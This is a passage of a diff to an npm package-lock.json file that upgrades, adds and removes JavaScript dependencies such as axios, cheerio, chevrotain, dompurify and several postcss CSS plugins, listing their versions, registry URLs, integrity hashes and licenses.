"electron-to-chromium": "^1.5.263", + "node-releases": "^2.0.27", + "update-browserslist-db": "^1.2.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/autoprefixer/node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, "node_modules/available-typed-arrays": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", @@ -22050,13 +22870,13 @@ } }, "node_modules/axios": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.12.1.tgz", - "integrity": "sha512-Kn4kbSXpkFHCGE6rBFNwIv0GQs4AvDT80jlveJDKFxjbTYMUeB4QtsdPCv6H8Cm19Je7IU6VFtRl2zWZI0rudQ==", + "version": "1.13.5", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.5.tgz", + "integrity": "sha512-cz4ur7Vb0xS4/KUN0tPWe44eqxrIu31me+fbang3ijiNscE129POzipJJA6zniq2C/Z6sJCjMimjS8Lc/GAs8Q==", "license": "MIT", "dependencies": { - "follow-redirects": "^1.15.6", - "form-data": "^4.0.4", + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", "proxy-from-env": "^1.1.0" } }, @@ -22325,12 +23145,15 @@ } }, "node_modules/baseline-browser-mapping": { - "version": "2.8.28", - "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.8.28.tgz", - "integrity": "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ==", + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.0.tgz", + "integrity": "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA==", "license": "Apache-2.0", "bin": { - "baseline-browser-mapping": "dist/cli.js" + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" } }, "node_modules/bcryptjs": { @@ -22354,10 +23177,16 @@ "node": ">=8" } }, + "node_modules/bluebird": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.4.7.tgz", + "integrity": "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA==", + "license": "MIT" + }, "node_modules/bn.js": { - "version": "5.2.2", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz", - "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==", + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.3.tgz", + "integrity": "sha512-EAcmnPkxpntVL+DS7bO1zhcZNvCkxqtkd0ZY53h06GNQ3DEkkGZ/gKgmDv6DdZQGj9BgfSPKtJJ7Dp1GPP8f7w==", "dev": true, "license": "MIT" }, @@ -22854,9 +23683,9 @@ } }, "node_modules/caniuse-lite": { - "version": "1.0.30001755", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001755.tgz", - "integrity": "sha512-44V+Jm6ctPj7R52Na4TLi3Zri4dWUljJd+RDm+j8LtNCc/ihLCT+X1TzoOAkRETEWqjuLnh9581Tl80FvK7jVA==", + "version": "1.0.30001774", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001774.tgz", + "integrity": "sha512-DDdwPGz99nmIEv216hKSgLD+D4ikHQHjBC/seF98N9CPqRX4M5mSxT9eTV6oyisnJcuzxtZy4n17yKKQYmYQOA==", "funding": [ { "type": "opencollective", @@ -22944,9 +23773,9 @@ } }, "node_modules/cheerio": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.1.2.tgz", - "integrity": "sha512-IkxPpb5rS/d1IiLbHMgfPuS0FgiWTtFIm/Nj+2woXDLTZ7fOT2eqzgYbdMlLweqlHbsZjxEChoVK+7iph7jyQg==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.2.0.tgz", + "integrity": "sha512-WDrybc/gKFpTYQutKIK6UvfcuxijIZfMfXaYm8NMsPQxSYvf+13fXUJ4rztGGbJcBQ/GF55gvrZ0Bc0bj/mqvg==", "license": "MIT", "dependencies": { "cheerio-select": "^2.1.0", @@ -22954,11 +23783,11 @@ "domhandler": "^5.0.3", "domutils": "^3.2.2", "encoding-sniffer": "^0.2.1", - "htmlparser2": "^10.0.0", + "htmlparser2": "^10.1.0", "parse5": "^7.3.0", "parse5-htmlparser2-tree-adapter": "^7.1.0", "parse5-parser-stream": "^7.1.2", - "undici": "^7.12.0", + "undici": "^7.19.0", "whatwg-mimetype": "^4.0.0" }, "engines": { @@ -22985,27 +23814,18 @@ "url": "https://github.com/sponsors/fb55" } }, - "node_modules/cheerio/node_modules/whatwg-mimetype": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", - "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", - "license": "MIT", - "engines": { - "node": ">=18" - } - }, "node_modules/chevrotain": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/chevrotain/-/chevrotain-11.0.3.tgz", - "integrity": "sha512-ci2iJH6LeIkvP9eJW6gpueU8cnZhv85ELY8w8WiFtNjMHA5ad6pQLaJo9mEly/9qUyCpvqX8/POVUTf18/HFdw==", + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/chevrotain/-/chevrotain-11.1.2.tgz", + "integrity": "sha512-opLQzEVriiH1uUQ4Kctsd49bRoFDXGGSC4GUqj7pGyxM3RehRhvTlZJc1FL/Flew2p5uwxa1tUDWKzI4wNM8pg==", "license": "Apache-2.0", "dependencies": { - "@chevrotain/cst-dts-gen": "11.0.3", - "@chevrotain/gast": "11.0.3", - "@chevrotain/regexp-to-ast": "11.0.3", - "@chevrotain/types": "11.0.3", - "@chevrotain/utils": "11.0.3", - "lodash-es": "4.17.21" + "@chevrotain/cst-dts-gen": "11.1.2", + "@chevrotain/gast": "11.1.2", + "@chevrotain/regexp-to-ast": "11.1.2", + "@chevrotain/types": "11.1.2", + "@chevrotain/utils": "11.1.2", + "lodash-es": "4.17.23" } }, "node_modules/chevrotain-allstar": { @@ -23020,12 +23840,6 @@ "chevrotain": "^11.0.0" } }, - "node_modules/chevrotain/node_modules/lodash-es": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", - "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==", - "license": "MIT" - }, "node_modules/chokidar": { "version": "3.5.3", "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", @@ -23063,16 +23877,6 @@ "node": ">= 6" } }, - "node_modules/chrome-trace-event": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", - "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", - "dev": true, - "peer": true, - "engines": { - "node": ">=6.0" - } - }, "node_modules/ci-info": { "version": "3.9.0", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", @@ -23089,23 +23893,25 @@ } }, "node_modules/cipher-base": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.6.tgz", - "integrity": "sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw==", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.7.tgz", + "integrity": "sha512-Mz9QMT5fJe7bKI7MH31UilT5cEK5EHHRCccw/YRFsRY47AuNgaV6HY3rscp0/I4Q+tTW/5zoqpSeRRI54TkDWA==", "dev": true, "license": "MIT", "dependencies": { "inherits": "^2.0.4", - "safe-buffer": "^5.2.1" + "safe-buffer": "^5.2.1", + "to-buffer": "^1.2.2" }, "engines": { "node": ">= 0.10" } }, "node_modules/cjs-module-lexer": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", - "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==" + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.2.0.tgz", + "integrity": "sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ==", + "license": "MIT" }, "node_modules/class-variance-authority": { "version": "0.7.1", @@ -23422,6 +24228,7 @@ "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz", "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==", "dev": true, + "license": "MIT", "engines": { "node": ">=4.0.0" } @@ -23622,7 +24429,6 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", - "dev": true, "license": "MIT" }, "node_modules/cors": { @@ -23646,32 +24452,6 @@ "layout-base": "^1.0.0" } }, - "node_modules/cosmiconfig": { - "version": "8.3.6", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-8.3.6.tgz", - "integrity": "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA==", - "dev": true, - "dependencies": { - "import-fresh": "^3.3.0", - "js-yaml": "^4.1.0", - "parse-json": "^5.2.0", - "path-type": "^4.0.0" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/d-fischer" - }, - "peerDependencies": { - "typescript": ">=4.9.5" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, "node_modules/create-ecdh": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz", @@ -23684,9 +24464,9 @@ } }, "node_modules/create-ecdh/node_modules/bn.js": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz", - "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==", + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz", + "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==", "dev": true, "license": "MIT" }, @@ -23800,29 +24580,51 @@ "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", "dev": true, + "license": "MIT", "engines": { "node": ">=8" } }, "node_modules/css-blank-pseudo": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-5.0.2.tgz", - "integrity": "sha512-aCU4AZ7uEcVSUzagTlA9pHciz7aWPKA/YzrEkpdSopJ2pvhIxiQ5sYeMz1/KByxlIo4XBdvMNJAVKMg/GRnhfw==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-8.0.1.tgz", + "integrity": "sha512-C5B2e5hCM4llrQkUms+KnWEMVW8K1n2XvX9G7ppfMZJQ7KAS/4rNnkP1Cs+HhWriOz1mWWTMFD4j1J7s31Dgug==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, + "node_modules/css-blank-pseudo/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/css-declaration-sorter": { "version": "6.4.1", "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz", @@ -23837,37 +24639,88 @@ } }, "node_modules/css-has-pseudo": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-5.0.2.tgz", - "integrity": "sha512-q+U+4QdwwB7T9VEW/LyO6CFrLAeLqOykC5mDqJXc7aKZAhDbq7BvGT13VGJe+IwBfdN2o3Xdw2kJ5IxwV1Sc9Q==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-8.0.0.tgz", + "integrity": "sha512-Uz/bsHRbOeir/5Oeuz85tq/yLJLxX+3dpoRdjNTshs6jjqwUg8XaEZGDd0ci3fw7l53Srw0EkJ8mYan0eW5uGQ==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "@csstools/selector-specificity": "^2.0.1", - "postcss-selector-parser": "^6.0.10", + "@csstools/selector-specificity": "^6.0.0", + "postcss-selector-parser": "^7.1.1", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, - "node_modules/css-prefers-color-scheme": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-8.0.2.tgz", - "integrity": "sha512-OvFghizHJ45x7nsJJUSYLyQNTzsCU8yWjxAc/nhPQg1pbs18LMoET8N3kOweFDPy0JV0OSXN2iqRFhPBHYOeMA==", + "node_modules/css-has-pseudo/node_modules/@csstools/selector-specificity": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz", + "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "peerDependencies": { + "postcss-selector-parser": "^7.1.1" + } + }, + "node_modules/css-has-pseudo/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/css-prefers-color-scheme": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-11.0.0.tgz", + "integrity": "sha512-fv0mgtwUhh2m9iio3Kxc2CkrogjIaRdMFaaqyzSFdii17JF4cfPyMNX72B15ZW2Nrr/NZUpxI4dec1VMHYJvdw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" @@ -23922,9 +24775,9 @@ "dev": true }, "node_modules/cssdb": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.10.0.tgz", - "integrity": "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA==", + "version": "8.8.0", + "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-8.8.0.tgz", + "integrity": "sha512-QbLeyz2Bgso1iRlh7IpWk6OKa3lLNGXsujVjDMPl9rOZpxKeiG69icLpbLCFxeURwmcdIfZqQyhlooKJYM4f8Q==", "dev": true, "funding": [ { @@ -23935,7 +24788,8 @@ "type": "github", "url": "https://github.com/sponsors/csstools" } - ] + ], + "license": "MIT-0" }, "node_modules/cssesc": { "version": "3.0.0", @@ -24056,30 +24910,20 @@ "node": ">=8.0.0" } }, - "node_modules/cssom": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", - "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", - "dev": true - }, "node_modules/cssstyle": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", - "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", + "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", "dev": true, + "license": "MIT", "dependencies": { - "cssom": "~0.3.6" + "@asamuzakjp/css-color": "^3.2.0", + "rrweb-cssom": "^0.8.0" }, "engines": { - "node": ">=8" + "node": ">=18" } }, - "node_modules/cssstyle/node_modules/cssom": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", - "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", - "dev": true - }, "node_modules/csstype": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", @@ -24363,9 +25207,9 @@ } }, "node_modules/d3-format": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", - "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz", + "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==", "license": "ISC", "engines": { "node": ">=12" @@ -24599,9 +25443,9 @@ } }, "node_modules/dagre-d3-es": { - "version": "7.0.13", - "resolved": "https://registry.npmjs.org/dagre-d3-es/-/dagre-d3-es-7.0.13.tgz", - "integrity": "sha512-efEhnxpSuwpYOKRm/L5KbqoZmNNukHa/Flty4Wp62JRvgH2ojwVgPgdYyr4twpieZnyRDdIH7PY2mopX26+j2Q==", + "version": "7.0.14", + "resolved": "https://registry.npmjs.org/dagre-d3-es/-/dagre-d3-es-7.0.14.tgz", + "integrity": "sha512-P4rFMVq9ESWqmOgK+dlXvOtLwYg0i7u0HBGJER0LZDJT2VHIPAMZ/riPxqJceWMStH5+E61QxFra9kIS3AqdMg==", "license": "MIT", "dependencies": { "d3": "^7.9.0", @@ -24624,17 +25468,17 @@ } }, "node_modules/data-urls": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", - "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", + "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", "dev": true, + "license": "MIT", "dependencies": { - "abab": "^2.0.6", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0" + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/data-view-buffer": { @@ -24732,9 +25576,10 @@ } }, "node_modules/decimal.js": { - "version": "10.4.3", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", - "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==" + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "license": "MIT" }, "node_modules/decode-named-character-reference": { "version": "1.0.2", @@ -25027,12 +25872,18 @@ } }, "node_modules/diffie-hellman/node_modules/bn.js": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz", - "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==", + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz", + "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==", "dev": true, "license": "MIT" }, + "node_modules/dingbat-to-unicode": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dingbat-to-unicode/-/dingbat-to-unicode-1.0.1.tgz", + "integrity": "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w==", + "license": "BSD-2-Clause" + }, "node_modules/dlv": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", @@ -25102,19 +25953,6 @@ ], "license": "BSD-2-Clause" }, - "node_modules/domexception": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", - "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", - "deprecated": "Use your platform's native DOMException instead", - "dev": true, - "dependencies": { - "webidl-conversions": "^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, "node_modules/domhandler": { "version": "5.0.3", "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", @@ -25131,10 +25969,13 @@ } }, "node_modules/dompurify": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.3.0.tgz", - "integrity": "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ==", + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.3.2.tgz", + "integrity": "sha512-6obghkliLdmKa56xdbLOpUZ43pAR6xFy1uOrxBaIDjT+yaRuuybLjGS9eVBoSR/UPU5fq3OXClEHLJNGvbxKpQ==", "license": "(MPL-2.0 OR Apache-2.0)", + "engines": { + "node": ">=20" + }, "optionalDependencies": { "@types/trusted-types": "^2.0.7" } @@ -25169,6 +26010,15 @@ "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", "integrity": "sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q==" }, + "node_modules/duck": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/duck/-/duck-0.1.12.tgz", + "integrity": "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg==", + "license": "BSD", + "dependencies": { + "underscore": "^1.13.1" + } + }, "node_modules/dunder-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", @@ -25206,6 +26056,7 @@ "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", "dev": true, + "license": "Apache-2.0", "dependencies": { "jake": "^10.8.5" }, @@ -25217,9 +26068,9 @@ } }, "node_modules/electron-to-chromium": { - "version": "1.5.254", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.254.tgz", - "integrity": "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg==", + "version": "1.5.302", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.302.tgz", + "integrity": "sha512-sM6HAN2LyK82IyPBpznDRqlTQAtuSaO+ShzFiWTvoMJLHyZ+Y39r8VMfHzwbU8MVBzQ4Wdn85+wlZl2TLGIlwg==", "license": "ISC" }, "node_modules/elliptic": { @@ -25239,9 +26090,9 @@ } }, "node_modules/elliptic/node_modules/bn.js": { - "version": "4.12.1", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz", - "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==", + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz", + "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==", "dev": true, "license": "MIT" }, @@ -25301,18 +26152,6 @@ "node": ">=0.10.0" } }, - "node_modules/encoding-sniffer/node_modules/whatwg-encoding": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", - "integrity": 